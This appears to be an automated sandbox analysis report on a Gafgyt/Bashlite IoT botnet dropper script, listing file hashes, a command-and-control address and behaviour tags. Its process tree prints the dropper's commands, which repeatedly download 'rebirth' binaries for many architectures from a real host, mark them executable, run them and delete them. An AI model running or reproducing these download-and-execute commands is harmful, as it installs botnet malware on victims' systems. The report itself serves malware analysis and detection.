Analysis

  • max time kernel
    95s
  • max time network
    128s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    15-12-2024 04:02

General

  • Target

    d2d1c037dd179c345f4077b9b7ea69ed3cb625ebe7bcdcad6ce6a086e4719c95.sh

  • Size

    1KB

  • MD5

    ea40c6fc574ca6806883d693a8afa0b8

  • SHA1

    ffa5c5e27f079da0e2928b589cd629b24541e0f0

  • SHA256

    d2d1c037dd179c345f4077b9b7ea69ed3cb625ebe7bcdcad6ce6a086e4719c95

  • SHA512

    d548f484d081bcd697c3fc6f677bfdb1a41bfc1ea533d699f272ac73ddcb755489a25f2a9bc20ddae554cfa199dd4afab31c90af655ff3175acd15f529aca0a3

Malware Config

Extracted

Family

gafgyt

C2

93.123.85.5:666

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt family
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Reads system routing table 1 TTPs 2 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/d2d1c037dd179c345f4077b9b7ea69ed3cb625ebe7bcdcad6ce6a086e4719c95.sh
    /tmp/d2d1c037dd179c345f4077b9b7ea69ed3cb625ebe7bcdcad6ce6a086e4719c95.sh
    1⤵
      PID:1493
      • /usr/bin/wget
        wget http://93.123.85.5/rebirth.arm4
        2⤵
        • Writes file to tmp directory
        PID:1494
      • /bin/chmod
        chmod +x rebirth.arm4
        2⤵
        • File and Directory Permissions Modification
        PID:1495
      • /tmp/rebirth.arm4
        ./rebirth.arm4
        2⤵
        • Executes dropped EXE
        PID:1496
      • /bin/rm
        rm -rf rebirth.arm4
        2⤵
          PID:1498
        • /usr/bin/wget
          wget http://93.123.85.5/rebirth.arm4t
          2⤵
          • Writes file to tmp directory
          PID:1499
        • /bin/chmod
          chmod +x rebirth.arm4t
          2⤵
          • File and Directory Permissions Modification
          PID:1503
        • /tmp/rebirth.arm4t
          ./rebirth.arm4t
          2⤵
            PID:1504
          • /bin/rm
            rm -rf rebirth.arm4t
            2⤵
              PID:1506
            • /usr/bin/wget
              wget http://93.123.85.5/rebirth.arm5
              2⤵
              • Writes file to tmp directory
              PID:1507
            • /bin/chmod
              chmod +x rebirth.arm5
              2⤵
              • File and Directory Permissions Modification
              PID:1508
            • /tmp/rebirth.arm5
              ./rebirth.arm5
              2⤵
                PID:1509
              • /bin/rm
                rm -rf rebirth.arm5
                2⤵
                  PID:1511
                • /usr/bin/wget
                  wget http://93.123.85.5/rebirth.arm6
                  2⤵
                  • Writes file to tmp directory
                  PID:1512
                • /bin/chmod
                  chmod +x rebirth.arm6
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1513
                • /tmp/rebirth.arm6
                  ./rebirth.arm6
                  2⤵
                    PID:1514
                  • /bin/rm
                    rm -rf rebirth.arm6
                    2⤵
                      PID:1516
                    • /usr/bin/wget
                      wget http://93.123.85.5/rebirth.i686
                      2⤵
                      • Writes file to tmp directory
                      PID:1517
                    • /bin/chmod
                      chmod +x rebirth.i686
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1518
                    • /tmp/rebirth.i686
                      ./rebirth.i686
                      2⤵
                      • Reads system routing table
                      • Reads system network configuration
                      PID:1519
                    • /bin/rm
                      rm -rf rebirth.i686
                      2⤵
                        PID:1522
                      • /usr/bin/wget
                        wget http://93.123.85.5/rebirth.m68
                        2⤵
                        • Writes file to tmp directory
                        PID:1523
                      • /bin/chmod
                        chmod +x rebirth.m68
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1524
                      • /tmp/rebirth.m68
                        ./rebirth.m68
                        2⤵
                          PID:1525
                        • /bin/rm
                          rm -rf rebirth.m68
                          2⤵
                            PID:1527
                          • /usr/bin/wget
                            wget http://93.123.85.5/rebirth.mips
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:1528
                          • /bin/chmod
                            chmod +x rebirth.mips
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1529
                          • /tmp/rebirth.mips
                            ./rebirth.mips
                            2⤵
                            • System Network Configuration Discovery
                            PID:1530
                          • /bin/rm
                            rm -rf rebirth.mips
                            2⤵
                            • System Network Configuration Discovery
                            PID:1532
                          • /usr/bin/wget
                            wget http://93.123.85.5/rebirth.mpsl
                            2⤵
                            • Writes file to tmp directory
                            PID:1533
                          • /bin/chmod
                            chmod +x rebirth.mpsl
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1534
                          • /tmp/rebirth.mpsl
                            ./rebirth.mpsl
                            2⤵
                              PID:1535
                            • /bin/rm
                              rm -rf rebirth.mpsl
                              2⤵
                                PID:1537
                              • /usr/bin/wget
                                wget http://93.123.85.5/rebirth.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:1538
                              • /bin/chmod
                                chmod +x rebirth.ppc
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1539
                              • /tmp/rebirth.ppc
                                ./rebirth.ppc
                                2⤵
                                  PID:1540
                                • /bin/rm
                                  rm -rf rebirth.ppc
                                  2⤵
                                    PID:1542
                                  • /usr/bin/wget
                                    wget http://93.123.85.5/rebirth.spc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1543
                                  • /bin/chmod
                                    chmod +x rebirth.spc
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1544
                                  • /tmp/rebirth.spc
                                    ./rebirth.spc
                                    2⤵
                                      PID:1545
                                    • /bin/rm
                                      rm -rf rebirth.spc
                                      2⤵
                                        PID:1547
                                      • /usr/bin/wget
                                        wget http://93.123.85.5/rebirth.x86
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1548
                                      • /bin/chmod
                                        chmod +x rebirth.x86
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:1549
                                      • /tmp/rebirth.x86
                                        ./rebirth.x86
                                        2⤵
                                        • Reads system routing table
                                        • Reads system network configuration
                                        PID:1550
                                      • /bin/rm
                                        rm -rf rebirth.x86
                                        2⤵
                                          PID:1553
                                        • /usr/bin/wget
                                          wget http://93.123.85.5/rebirth.sh4
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1554
                                        • /bin/chmod
                                          chmod +x rebirth.sh4
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1555
                                        • /tmp/rebirth.sh4
                                          ./rebirth.sh4
                                          2⤵
                                            PID:1556
                                          • /bin/rm
                                            rm -rf rebirth.sh4
                                            2⤵
                                              PID:1558
                                            • /usr/bin/wget
                                              wget http://93.123.85.5/rebirth.arm7
                                              2⤵
                                                PID:1559
                                              • /bin/chmod
                                                chmod +x rebirth.arm7
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1560
                                              • /tmp/rebirth.arm7
                                                ./rebirth.arm7
                                                2⤵
                                                  PID:1561
                                                • /bin/rm
                                                  rm -rf rebirth.arm7
                                                  2⤵
                                                    PID:1562

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/rebirth.arm4

                                                  Filesize

                                                  108KB

                                                  MD5

                                                  b74f3701eeb8973108ae472f2819d0cb

                                                  SHA1

                                                  98bf303a7888507d583f4a8e4bad73774920b7c3

                                                  SHA256

                                                  b62a5dcd0a95f79ad425c6e2a6180e48ada7c566540902a70148165f4df32ec4

                                                  SHA512

                                                  8526e6a47c25af114a433a4ff49ab135066de835e86c2f36a1fb4e8a7b20b1b7688b588cc53e5e66749f566058e5df4cf54fc02bc726a5c40b6fe74671562b98